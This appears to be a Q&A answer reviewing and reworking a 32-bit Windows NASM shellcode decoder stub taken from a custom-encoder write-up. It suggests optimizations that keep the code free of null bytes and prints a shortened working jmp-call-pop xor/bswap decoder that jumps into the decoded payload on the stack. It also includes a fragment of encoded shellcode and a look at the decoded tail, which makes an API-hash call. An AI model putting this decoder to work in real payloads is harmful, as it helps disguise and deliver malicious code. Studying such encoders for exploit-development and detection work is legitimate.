Optimizing Netwide Assembler codes in Microsoft Windows

For what it is, it looks reasonable to me.

There are some things that could be changed if you want.

• Some loads could be merged.

  mov bl, byte [esi + edx + 1]    ; read 1st encoded byte
  mov bh, byte [esi + edx + 2]    ; read 2nd encoded byte
  

  This pair of loads could be merged into mov bx, word [esi + edx + 1], the second pair of loads could be similarly merged.

• 5 inc edx instructions could be merged into add edx, 5 in this case. That affects the flags in a different way, notably inc does not affect the carry flag, but that doesn't matter here. This doesn't introduce a nul-byte or something, perhaps you avoided it thinking that it might .. then again there is an add eax, 4 right after it so I don't know what happened.

• jnz decode this branch is not really relevant, it should be unconditionally true. However, using jmp here would not be an improvement. In fact that would remove the possibility of macro-fusion between add eax, 4 and the jump/branch. But it allows a different possibility: rewrite the loop so that actual exit (which is now jz execute_shellcode) is at the bottom. Moving the adds is not harmful. In some other cases where moving the "second part of the loop body" would be harmful, it can be moved to above the loop entry (resulting in a loop where the entry point is not at the top) - but in this case it's simpler than that.

  decode_loop:
      ; do decoding stuff
      add edx, 5  ; the adds are moved here, to before the cmp
      add eax, 4
      cmp dword [esi + edx], edi  ; no +5 because edx has been increased already
      jnz decode_loop
      jmp short esp
  

• Writes to partial registers are subject to various performance quirks (and the occasional erratum fixed with a microcode update), probably best avoided if possible/reasonable (reads from partial registers are fine, and writes to 32-bit registers in 64-bit code are fine). An alternative approach using 32-bit registers could be to load the key byte (zero-extended into a 32-bit register), splat it to 4 bytes (eg imul ecx, ecx, 0x01010101), xor the data bytes with the splatted key, use bswap to implement the byte-reverse, then write out the result. No partial registers are harmed in this procedure. This also reduces code size. Example code:

  movzx ecx, byte [esi + edx]
  imul ecx, ecx, 0x01010101
  xor ecx, dword [esi + edx + 1]
  bswap ecx
  mov dword [esp + eax], ecx
  

  There are no nul-bytes in this either, though in general they have a higher chance to appear when not going full 8-bit.

sub esp, 0x7f       ; make room on the stack (512 bytes)
sub esp, 0x7f       ; make room on the stack
sub esp, 0x7f       ; make room on the stack
sub esp, 0x7f       ; make room on the stack

Did you notice that 4 times 127 is equal to 508, so not 512 like the original comment is suggesting. Always double check what other people write...

jmp short esp

This makes NASM issue a warning about having to ignore the size tag. If anything this is a near jump, certainly not a short jump. Best write it as jmp esp.

I reworked the code that you downloaded from https://snowscan.io/custom-encoder/# and got it much smaller (should you care).

Then I assembled it with NASM 2.15.05 using

nasm -f win32 theFile.asm

and linked it with the GoDevTools linker

golink /console theFile.obj

It produced a 1KB executable file.

global start

section .text

start:
    jmp  call_shellcode

decoder:
    pop  esi              ; address of shellcode
    mov  ecx, -508
    imul ecx, -1
    sub  esp, ecx
    mov  edi, esp

decode:
    lodsb                 ; read the key byte
    mov  bl, al
    mov  bh, al
    lodsd                 ; read all 4 encoded bytes
    xor  ax, bx           ; xor 1st and 2nd bytes
    bswap eax
    xor  ax, bx           ; xor 3rd and 4th bytes
    stosd                 ; store reversed
    cmp  dword [esi], 0xAAAA9090
    jne  decode

execute_shellcode:
    jmp  esp

call_shellcode:
    call decoder
    encoder_shellcode: db 0xAA, 0xAA, 0x25, 0x42, 0x56, 0xAA, 0x23, 0xCA, 0xAA, 0xAA, 0xAA, ..., 0x90, 0x90, 0xAA, 0xAA

Needless to say that I did not run the shellcode itself since it was only partially included in the question as posted above. So, instead of jumping to the ESP address, I just stopped the program at that point with:

add  esp, ecx      ; restore ESP, ECX=508
xor  eax, eax      ; exitcode
ret

EDIT

Now that you have included the entire (?) encoded shellcode, I could have a look at it once decoded. I don't understand what it is supposed to do, which is probably for the best, but I can see that the code at some point just falls into the great void!

The final decoded part reads:

      ...

      call 0158

      ...

0158  mov  ebx, 56A2B5F0h
015D  push 0
015F  push ebx
0160  call ebp            ; EBP holds the address of the 7th byte of the shellcode
0162  nop                 ; padded by the encoder
0163  nop                 ; padded by the encoder
0164  ???

The execution of garbage will happen at 0164.